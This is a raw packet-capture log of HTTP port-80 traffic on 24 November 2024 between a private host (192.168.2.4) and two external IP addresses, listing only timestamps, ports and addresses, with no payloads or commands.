Nov 24, 2024 12:24:29.362286091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.362330914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.362365961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.362479925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.362497091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.362519026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.363272905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.363318920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.363346100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.363362074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.363379002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.363401890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.363415003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.364152908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.364208937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.364242077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.364459991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.364500999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.364547968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.364588022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.364995003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.365039110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.365080118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.365560055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.365601063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.365696907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.365746021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.365787029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.365835905 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.365921021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.366641045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.366683006 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.366698980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.366715908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.366760969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.366763115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.366800070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.367466927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.367513895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.367604017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.367754936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.367799044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.367810965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.367872000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.368294001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.368339062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.368376970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.368882895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.368923903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.368972063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.369015932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.369110107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.369153976 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.369220018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.369978905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.369995117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.370007038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.370022058 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.370048046 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.370785952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.370835066 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.370899916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.371646881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.371689081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.371731043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.372487068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.372538090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.372544050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.373322010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.373366117 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.373646975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.374245882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.374320984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.374322891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.374974966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.375022888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.375152111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.375797033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.375840902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.375881910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.376655102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.376701117 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.376771927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.377473116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.377520084 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.377590895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.378310919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.378355980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.378453970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.379179955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.379225969 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.379235983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.380048990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.380093098 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.380135059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.380809069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.380855083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.380898952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.381761074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.381812096 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.381829977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.382489920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.382529974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.382586956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.383306026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.383353949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.383378983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.384167910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.384195089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.384207010 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.384951115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.384999990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.385057926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.385824919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.385888100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.385914087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.386612892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.386662960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.386724949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.387478113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.387523890 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.387569904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.388309956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.388353109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.388426065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.389095068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.389141083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.475740910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.475778103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.475816965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.475928068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.476068974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.476110935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.476779938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.476922035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.476991892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.477616072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.477679968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.477752924 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.478499889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.478553057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.478598118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.479280949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.479358912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.479403019 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.480170012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.480247021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.480287075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.480947018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.504478931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.504493952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.504539967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.504570961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.504658937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.504708052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.504759073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.504806042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.505774975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.505822897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.505850077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.505897045 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.506843090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.506900072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.506947041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.506994009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.508016109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.508061886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.508069038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.508111000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.509038925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.509082079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.509130955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.509193897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.510200977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.510246038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.510320902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.510361910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.511275053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.511321068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.511406898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.511446953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.512413979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.512465000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.512556076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.512602091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.513505936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.513552904 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.513592958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.513633966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.514591932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.514636040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.514687061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.514725924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.515697002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.515748024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.515793085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.515837908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.516829967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.516880035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.516905069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.516947985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.517927885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.517973900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.518022060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.518064022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.519000053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.519047022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.519093037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.519140959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.520143032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.520190001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.520234108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.520277023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.521202087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.521249056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.521292925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.521337032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.522159100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.522316933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.522367001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.522439957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.522488117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.523427010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.523478985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.523525953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.523569107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.524532080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.524578094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.524626017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.524671078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.525629997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.525676012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.525722980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.525765896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.526743889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.526792049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.526869059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.526916981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.527890921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.527940035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.527983904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.528028965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.528969049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.529020071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.529057026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.529095888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.530049086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.530096054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.530144930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.530225039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.531157017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.531203985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.531249046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.531294107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.532273054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.532320023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.532392979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.532439947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.533384085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.533430099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.533593893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.533639908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.534482956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.534529924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.534574986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.534617901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.535588026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.535635948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.535682917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.535726070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.536716938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.536765099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.536839008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.536884069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.537796974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.537842035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.537887096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.537928104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.538983107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.539030075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.539160013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.539210081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.540065050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.540127039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.540165901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.540229082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.541119099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.541165113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.541213036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.541254997 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.542227983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.542278051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.542278051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.542316914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.543355942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.543406010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.543462992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.543509960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.544461966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.544507027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.544522047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.544557095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.545572042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.545618057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.545921087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.545970917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.546665907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.546715021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.546761036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.546808004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.547791004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.547840118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.547960997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.548007011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.548881054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.548924923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.549021006 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.549067974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.549958944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.550007105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.550124884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.550174952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.550587893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.550705910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.550746918 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.550985098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.551064968 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.551080942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.551096916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.551105022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.551127911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.551139116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.551887989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.552047014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.552090883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.552247047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.552293062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.552464962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.552514076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.552695036 CET	80	49792	34.116.198.130	192.168.2.4
